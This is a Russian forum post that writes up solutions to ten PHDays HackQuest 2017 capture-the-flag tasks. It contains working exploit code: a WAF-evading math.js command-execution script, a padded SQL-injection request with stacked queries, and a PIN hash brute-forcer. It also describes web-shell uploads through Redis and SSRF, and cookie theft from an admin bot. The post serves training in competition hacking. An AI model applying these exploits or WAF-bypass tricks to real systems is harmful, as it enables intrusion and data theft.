Показать сообщение отдельно
Старый 17.05.2017, 01:42   #1
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию PHDays HackQuest 2017 Write-up

1. https://stack.rosnadzorcom.ru

Исполнение кода в math.js (см. https://capacitorset.github.io/mathjs/). Осложнено WAF’ом. Составляем вектор и итеративно определяем, какие подстроки блокируются фильтром.
Затем пишем рекурсивную процедуру замены слов из плохого списка конкатенацией их подстрок при помощи CONCAT.
Эксплойт:
Код:
import json
import re
import requests

from urllib import quote

bad = ['input','string','proc','/etc','/var','/tmp','conf','/dev','exec','node','modules','close','echo','connection','mods','curl','host','local','http','enable','env','package','func', 'ion', 'file', 'pipe', 'writ', 'io', 'path', 'put']

def enconcat(s):
    for w in bad:
        if w in s:
            z = s.index(w) + 1
            return 'concat(%s,%s)' % (enconcat(s[:z]), enconcat(s[z:]))
    return '"%s"' % s

PAYLOAD += "return spawnSync('/bin/bash',['-c','cat /WAFWAF_exec_jk.txt'])"

z = enconcat(PAYLOAD[0*len(PAYLOAD)/2:len(PAYLOAD)/1])

t = requests.get('https://stack.rosnadzorcom.ru/result?expr=cos.constructor(%s)()' % quote('%s' % z)).text
print t
print ''.join(map(chr, json.loads(t)['stdout']['data']))

2. https://rosnadzorcom.ru/compressed.png

На картинке обфусцированный C-код, который выводит флаг. Перед выводом флага в цикле происходит чтение символов из stdin и какие-то вычисления. Переписываем код и производим его рефакторинг в CLion. Смотрим на условие выхода из цикла и осознаём, что оно в общем-то почти ни от чего не зависит, и можно просто его подделать.
Эксплойт:
Код:
#include <stdio.h>

unsigned *S, some_value, n;
output[55], counter, input_char, end_flag, i;

void ready_result()
{
    end_flag |= (*S != ++counter % 16);
}
void set_value()
{
    *S = 17 - ++counter & 15;
}
void print_row()
{
    printf("%02d%c", *S, ++counter % 4 ? 32 : 10);
}
void callback_exec(int (*g)())
{
    for (end_flag = counter = 0; counter < 16;)
        S = output + counter, g();
}
void print_flag()
{
    printf("%02d", *S ^ counter++);
}

char* q = "Your flag is ";

int main()
{
    callback_exec(set_value);
    for(i = 0; i < 17; ++i) {
        output[i] = (i + 1)%16;
    }
    callback_exec(ready_result);
    callback_exec(print_flag);
    exit(0);

    for (callback_exec(print_row); callback_exec(ready_result), end_flag; input_char = getchar()) {
        if (88 < input_char)
        {
            end_flag = input_char & 4 ? -1 : 1;
            counter = some_value + n * 4;
            S = input_char & 16 ? (input_char = counter + end_flag * 4, &n) : (end_flag *= -1, input_char = counter + end_flag, &some_value);
            if (*S + end_flag < 4) {
                *S += end_flag;
                output[input_char] ^= output[counter] ^= output[input_char] ^= output[counter];
                callback_exec(print_row);
            }
        }
    }
    puts(q);
    callback_exec(print_flag);
    return 0;
}
3. https://rosnadzorcom.ru/1.png

Дана картинка со всякими каракулями, в Stegsolve видим различные узоры в Alpha-каналах, вытаскиваем данные из всех битов Alpha-канала, получаем jj-кодированный JS-код, берём каждый 10й символ (потому что на картинке квадраты 10х10), запускаем и получаем строку из нулей, единиц и двоек.
Заменяем '2' на '\n' и видим, прищурившись, что это QR-код. Декодируем.

4. bonus1 (recon)

Находим флаг в истории выдачи сертификатов на crt.sh: https://crt.sh/?q=%25rosnadzorcom.ru

5. https://block.rosnadzorcom.ru/

Простая SQL-инъекция с WAF'ом. После тыкания осознаём, что WAF эвристический и реагирует на аномалии, разбавляем специальные символы текстом, используем stacked queries (это Postgres) и получаем вектор.
Эксплойт:
Код:
GET /?query=this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+*/+--this+is+fucking+loop+');SELECT+++++++++++++++++++++++++++++++++++++++++++++*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++FROM+++++++++++++++++++++++users+++++++++++++++++++++++++++++++++++++++++++++++pizdec++++++++++++++++++++++++++++++++++++++++++++++++++where+++++++++++''+++++++++++++++++++++++++++++++++=+++++++++++++++++++++++++++++++++++++++++''++++++++++++++++;/*this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+this+is+fucking+loop+something+has+to+be+done+here HTTP/1.1
6. https://rosnadzorcom.ru/erawmosnar

Тщательно реверсим Golang-бинарь и осознаём, что это просто проверка хеш-суммы PIN-кода с солью.
Эксплойт:
Код:
import hashlib

salt = 'fede4675fcba53af81a6db94fed5e2fc'#.decode('hex')
want = '6dbb5c0a1dbb785e1b51206338fbb3f696f928bf'.decode('hex')

for i in xrange(1000000000):
    pin = str(i).rjust(9, '0')
    if i % 1000 == 0:
        print pin
    if hashlib.sha1(pin + '\n' + salt).digest() == want:
        print 'FOUND', pin
        quit()
7. bonus4 (recon)

Вбиваем "rosnadzorcom" в гугле и находим флаг в кеше твита.

8. https://ropi.rosnadzorcom.ru

Заливка картинок из файла и по урлу. Пытаемся устроить читалку через симлинки и врапперы zip:// или phar://, ничего не выходит. Через обращение к своему серваку узнаём белый адрес сервака, сканим и находим Redis.
Также белый адрес не защищён WAF'ом, можем дирбастить и находим .git. В исходниках находим пароль от Redis.
Дальше стандартным образом заливаем шелл из Redis через config set dir.

9. https://chat.rosnadzorcom.ru/

Обнаруживаем сорцы в .git, это Nodejs-приложение с ботом, который заходит на страницу чата, где есть наш коммент. XSS в обычном виде нет, но имя параметра, в котором мы передаём сообщение, попадает в атрибут id тега (значение по умолчанию state.message.text).
Интересный код:
Код:
. . .
import { result } from 'lodash';
. . .
export function adminReply(res, html) {
    const $ = cheerio.load(html),
        msg = $('[data-id]'),
        id = msg.data('id'),
        state = result(res, 'state'),
        orig = result(res, id).toString();

    state.reply = {
        id: 'reply',
        type: 'reply',
        orig,
. . .
Метод result из пакета lodash рендерит атрибуты объектов. Таким образом, передаём в имени параметра req.cookies.sid, и админ отвечает нам своим Cookie, с которым мы потом пойдём в админку за флагом.

10. https://anonymizer.rosnadzorcom.ru

Стандартная SSRF-атака на NoSQL-сервер. В качестве цели обнаружено хранилище Aerospike, используем UDF для создания Lua-процедуры, которая дропает веб-шелл, который потом инклудим через path traversal в PHP-скрипте.
Beched вне форума   Ответить с цитированием